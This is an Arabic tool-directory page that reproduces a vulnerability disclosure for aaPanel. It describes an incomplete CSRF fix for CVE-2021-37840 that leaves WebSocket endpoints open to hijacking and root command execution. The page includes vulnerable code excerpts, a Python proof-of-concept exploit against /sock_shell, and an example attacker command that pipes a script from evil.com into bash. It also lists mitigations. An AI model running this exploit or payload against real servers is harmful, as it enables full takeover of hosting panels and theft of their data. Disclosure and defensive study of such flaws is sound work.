Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
aapanel-ws-bypass — تجاوز CSRF في WebSocket الخاص بـ aaPanel يؤدي إلى RCE (إصلاح غير مكتمل لـ CVE-2021-37840) | Kitploit
أدوات/GitHubGitHub/eonsecurity/aapanel-ws-bypass
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

تجاوز CSRF في WebSocket الخاص بـ aaPanel يؤدي إلى RCE (إصلاح غير مكتمل لـ CVE-2021-37840)

عرض المستودع
5منذ 2 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

aaPanel: البائعون لا يصلحون الأمور دائمًا بشكل صحيح

إصلاح غير مكتمل لـ CVE-2021-37840 لا يزال يعرّض 3.6 مليون خادم لاستغلال RCE بصلاحيات الجذر، بعد 5 سنوات

اكتشفته: EON Security
CVE: قيد التعيين
CVSS: 8.8 (مرتفع) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثر: إصدارات aaPanel من 6.8.12 حتى 7.65.0 (كل إصدار صدر منذ إصلاح 2021)
القاعدة المثبّتة: +3.6 مليون خادم


النسخة المختصرة

في عام 2021، تم الكشف عن ثغرة اختطاف WebSocket عبر المواقع (CVE-2021-37840) في aaPanel، وهي لوحة تحكم استضافة مجانية تعمل على أكثر من 3.6 مليون خادم. أضاف البائع فحص رمز CSRF "لإصلاحها".

كان الإصلاح خاطئًا من الناحية المعمارية.

بدلاً من رفض اتصالات WebSocket غير الموثَّقة على مستوى HTTP (إرجاع 401)، يسمح الإصلاح بمرور كل الاتصالات (يرجع 101 Switching Protocols) ولا يفحص المصادقة إلا داخل المعالج — بعد أن يكون WebSocket قد أُنشئ بالفعل. ويمكن تجاوز فحص CSRF الذي أضافوه بعدة طرق.

وجدت EON Security أنه بعد 5 سنوات، لا يزال كل إصدار من aaPanel عرضة لنفس فئة الهجوم.

هذا هو عاشر CVE فقط يُخصص لـ aaPanel في تاريخه الذي يمتد لأكثر من 6 سنوات.



ماذا يعني هذا بلغة بسيطة

إذا كنت تشغّل aaPanel، فإليك ما يمكن أن يفعله المهاجم بك:

السيناريو 1: نقر مسؤول على رابط خبيث

  1. ينقر أحد أعضاء فريقك رابطًا لا ينبغي النقر عليه (بريد إلكتروني، إعلان، رسالة)
  2. تفتح تلك الصفحة اتصال WebSocket إلى لوحة aaPanel الخاصة بك بشكل خفي — إذ يرسل متصفحك ملف تعريف الارتباط الخاص بتسجيل الدخول تلقائيًا لأنك سجّلت الدخول بالفعل
  3. يرى aaPanel جلسة صالحة ويسمح بمرور الاتصال — تمر المصادقة بنجاح
  • يرسل المهاجم curl http://evil.com/payload.sh | bash — ويُنفَّذ هذا الأمر بصلاحيات الجذر (root) على خادمك
  • أصبح خادمك مخترقًا بالكامل: سرقة المواقع، مسح قواعد البيانات، ونشر البرمجيات الخبيثة لزوّارك
  • يلزم نقرة واحدة فقط. نقرة خاطئة واحدة ويصبح كل شيء بحوزة المهاجم.

    السيناريو 2: تسرّب مفتاح API

    1. يصل مفتاح API إلى مكان لا ينبغي أن يكون فيه — كمستودع GitHub عام، أو نسخة احتياطية للإعدادات، أو ملاحظات مطوّر
    2. يصادق المهاجم باستخدام ذلك المفتاح ويفتح اتصال WebSocket إلى aaPanel
    3. يرى فحص CSRF أن "هذا طلب مصادق عبر API" ويتخطى الفحص تمامًا — وهذا تجاوز صريح مدمج في الكود
    4. ينفذ المهاجم أوامر بصلاحيات الجذر فورًا
    5. لا نقرات من المسؤول، لا تحذيرات، لا سجلات تبدو غير طبيعية — مجرد اختراق فوري

    هذه هي المشكلة الأكبر. حماية CSRF لا تنطبق على الطلبات المصادقة عبر API إطلاقًا. صُممت لفحص الاتصالات القائمة على المتصفح، لكن مسار الكود الخاص بالوصول عبر API يتجاوزها تمامًا.

    في كل الحالات، هناك 3.6 مليون خادم متأثر. كل إصدار صدر منذ 2021.

    1. جميع نقاط WebSocket العشرة تقبل الاتصالات قبل التحقق من هويتك — تُرجع HTTP 101 Switching Protocols قبل فحص المصادقة
    2. يحتوي فحص CSRF على شروط تجاوز صريحة — g.api_request=True (الطلبات المصادقة عبر API) وg.is_aes=True (الطلبات المشفرة عبر AES) تتخطيان الفحص تمامًا
    3. تنفّذ نقطة النهاية /sock_shell أوامر عشوائية — subprocess.Popen(cmd + " 2>&1", shell=True)
    4. تقبل نقطة النهاية /webssh بيانات اعتماد SSH مقدمة من المهاجم — الاتصال بأي مضيف SSH
    5. تعمل بصلاحيات الجذر — اختراق كامل للخادم

    تفاصيل الثغرة

    1. نقاط WebSocket تقبل الاتصالات قبل المصادقة

    تعيد جميع نقاط WebSocket HTTP 101 Switching Protocols قبل أي فحص مصادقة. يتم تنفيذ فحص المصادقة comm.local() داخل المعالج، بعد اكتمال ترقية WebSocket بالفعل:

    root@kitploit:~
    @sockets.route('/sock_shell')
    def sock_shell(ws):
        comReturn = comm.local()     # ← Auth check happens AFTER 101
        if comReturn:
            ws.send(str(comReturn))
            return
    

    نقاط النهاية المتأثرة:

    • /webssh (وكيل طرفية SSH)
    • /sock_shell (تنفيذ أوامر مباشر)
    • /ws_panel (إدارة اللوحة)
    • /ws_home (لوحة المعلومات)
    • /ws_project (إدارة المشاريع)
    • /ws_model (إدارة النماذج)
    • /workorder_client (نظام التذاكر)
    • إصدارات /v2/* لكل ما سبق

    2. تجاوز فحص رمز CSRF

    صُممت الدالة check_csrf_websocket() لمنع اختطاف WebSocket عبر المواقع:

    root@kitploit:~
    def check_csrf_websocket(ws, args):
        if g.is_aes: return True        # ← Bypass: AES mode skips check
        if g.api_request: return True    # ← Bypass: API requests skip check
        if public.is_debug(): return True
        is_success = True
        if not 'x-http-token' in args:
            is_success = False
        if is_success:
            if public.get_csrf_sess_html_token_value() != args['x-http-token']:
                is_success = False
        if not is_success:
            ws.send('token error')
            return False
        return True
    

    يوجد شرطان لتجاوز صريح:

    • g.api_request: عندما تكون قيمته True (تُعيَّن أثناء المصادقة بمفتاح API)، يُتخطى فحص CSRF بالكامل. أي جلسة WebSocket مصادقة عبر API تتجاوز هذه الحماية.
    • g.is_aes: عندما تكون قيمته True (تُعيَّن أثناء طلبات API المشفرة عبر AES)، يُتخطى فحص CSRF أيضًا.

    مقارنة الرمز (get_csrf_sess_html_token_value()) تُرجع session.get('request_token_head', ""). في الجلسات التي لم تُهيَّأ فيها هذه القيمة بعد، يمرر x-http-token فارغ الفحص.

    3. تنفيذ الأوامر عبر sock_shell

    تمرر نقطة النهاية /sock_shell نصوصًا يقدمها المهاجم مباشرة إلى subprocess.Popen مع shell=True:

    root@kitploit:~
    def sock_recv(cmdstring, ws):
        p = subprocess.Popen(cmdstring + " 2>&1",
                             close_fds=True,
                             shell=True,           # ← Arbitrary command execution
                             stdout=subprocess.PIPE,
                             stderr=subprocess.PIPE)
    

    يُنفَّذ كل رسالة يتم استلامها عبر WebSocket كأمر شل. تُدفق المخرجات عبر WebSocket. وبما أن aaPanel يعمل بصلاحيات الجذر، فهذا اختراق كامل للنظام.

    4. وكيل SSH عبر webssh

    تقبل نقطة النهاية /webssh معاملات اتصال SSH مقدمة من المهاجم من أول رسالة WebSocket:

    root@kitploit:~
    ssh_info['host'] = get['host'].strip()
    ssh_info['port'] = int(get['port'])
    ssh_info['username'] = get['username'].strip()
    ssh_info['password'] = get['password'].strip()
    

    إذا كان المضيف هو 127.0.0.1 أو localhost، يتحقق المعالج من قاعدة البيانات بحثًا عن بيانات اعتماد محفوظة، أو يستخدم البيانات المقدمة من المهاجم.


    سيناريو الهجوم

    مسار الاستغلال الرئيسي هو CSWSH (اختطاف WebSocket عبر المواقع) ويتطلب تفاعل المستخدم:

    1. المسؤول لديه جلسة aaPanel نشطة (مسجّل الدخول)
    2. يزور المسؤول صفحة ويب خبيثة
    3. تفتح الصفحة اتصال WebSocket إلى wss://victim-panel:8888/sock_shell
    4. يتضمن المتصفح تلقائيًا ملف تعريف الارتباط الخاص بالجلسة
    5. يمرر comm.local() المصادقة (ملف تعريف ارتباط جلسة صالح)
    6. يرسل المهاجم {"x-http-token": ""} أو يستغل مسارات تجاوز API/AES
    7. إذا نجح فحص CSRF، يمكن تنفيذ أوامر بصلاحيات الجذر

    مسار بديل عبر اختراق مفتاح API:

    1. يحصل المهاجم على مفتاح API صالح لـ aaPanel
    2. تعيّن الطلبات المصادقة عبر API g.api_request = True
    3. يُتخطى فحص CSRF تمامًا لهذه الطلبات
    4. تنفيذ أوامر مباشر عبر WebSocket دون تفاعل المستخدم

    نقاط النهاية المتأثرة

    نقطة النهايةالوظيفةالتأثير
    /websshوكيل طرفية SSHالاتصال بأي مضيفات SSH باستخدام بيانات اعتماد المهاجم
    /sock_shellتنفيذ أوامر مباشرRCE بصلاحيات الجذر عبر أوامر الشل
    /ws_panelإدارة اللوحةالوصول إلى بيانات اللوحة
    /ws_homeلوحة المعلوماتالوصول إلى بيانات لوحة المعلومات
    /ws_projectإدارة المشاريعالوصول إلى بيانات المشاريع
    /ws_modelإدارة النماذجالوصول إلى بيانات النماذج
    /workorder_clientنظام التذاكرالوصول إلى بيانات التذاكر
    /v2/*جميع إصدارات v2نفس ما سبق

    إثبات المفهوم (PoC)

    root@kitploit:~
    import asyncio, json, ssl
    import websockets
    
    async def exploit(target, command):
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE
        
        async with websockets.connect(
            f"wss://{target}/sock_shell", ssl=ssl_context
        ) as ws:
            # Attempt CSRF bypass with empty token
            await ws.send(json.dumps({"x-http-token": ""}))
            resp = await asyncio.wait_for(ws.recv(), timeout=10)
            
            if "token error" in resp:
                # CSRF check active — may need API auth bypass
                return None
            
            # Execute command
            await ws.send(command)
            return await asyncio.wait_for(ws.recv(), timeout=30)
    

    إثبات المفهوم الكامل: exploit.py


    الكشف

    استخدم سكربت check.py لاختبار ما إذا كانت نسخة aaPanel تحتوي على نقاط WebSocket قابلة للاستغلال:

    root@kitploit:~
    python3 check.py https://target:8888
    

    التخفيف

    1. تحقق من المصادقة قبل قبول ترقيات WebSocket — أرجِع HTTP 401 على مستوى المصافحة، وليس بعدها
    2. أزل شروط التجاوز الصريحة — يجب ألا يتخطى g.api_request وg.is_aes حماية CSRF
    3. تحقق من ترويسة Origin عند ترقية WebSocket — ارفض الأصول غير المعروفة
    4. عطّل sock_shell إذا لم يكن ضروريًا — فهو يتيح تنفيذ أوامر مباشرة بصلاحيات الجذر
    5. قيّد وصول الشبكة إلى واجهة إدارة aaPanel

    الجدول الزمني

    التاريخالحدث
    2021-08-02الكشف عن CVE-2021-37840 (aaPanel CSWSH)
    2021يضيف البائع check_csrf_websocket() كإصلاح
    2026-06-23تكتشف EON Security أن الإصلاح غير مكتمل
    قيد الانتظارتعيين CVE
    قيد الانتظارالكشف العام

    المراجع

    • CVE-2021-37840 — ثغرة aaPanel CSWSH الأصلية
    • CVE-2026-29859 — رفع ملفات عشوائي في aaPanel (مارس 2026)
    • aaPanel GitHub — المستودع الرسمي
    • EON Security — الجهة المكتشفة

    الاعتماد

    Yadav — EON Security
    الموقع الإلكتروني: https://eonsecurity.co.za


    الترخيص

    هذا المحتوى مرخّص بموجب MIT. إثبات المفهوم مقدَّم لأغراض تعليمية ودفاعية فقط.

    تنزيل الأداة